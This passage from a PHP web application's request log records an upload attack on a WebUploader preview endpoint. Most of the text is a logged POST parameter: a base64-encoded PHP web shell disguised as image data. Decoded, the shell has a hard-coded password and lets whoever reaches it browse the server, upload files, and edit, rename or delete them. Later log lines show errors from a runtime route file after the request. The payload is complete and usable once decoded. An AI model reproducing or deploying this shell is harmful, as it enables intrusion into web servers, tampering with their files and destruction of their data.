'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'iscwo_kaifu' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:09+08:00 ] 116.213.36.234 POST www.51tianwei.com/statics/webuploader/0.1.5/server/preview.php [运行时间:0.002474s] [吞吐率:404.19req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'statics', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 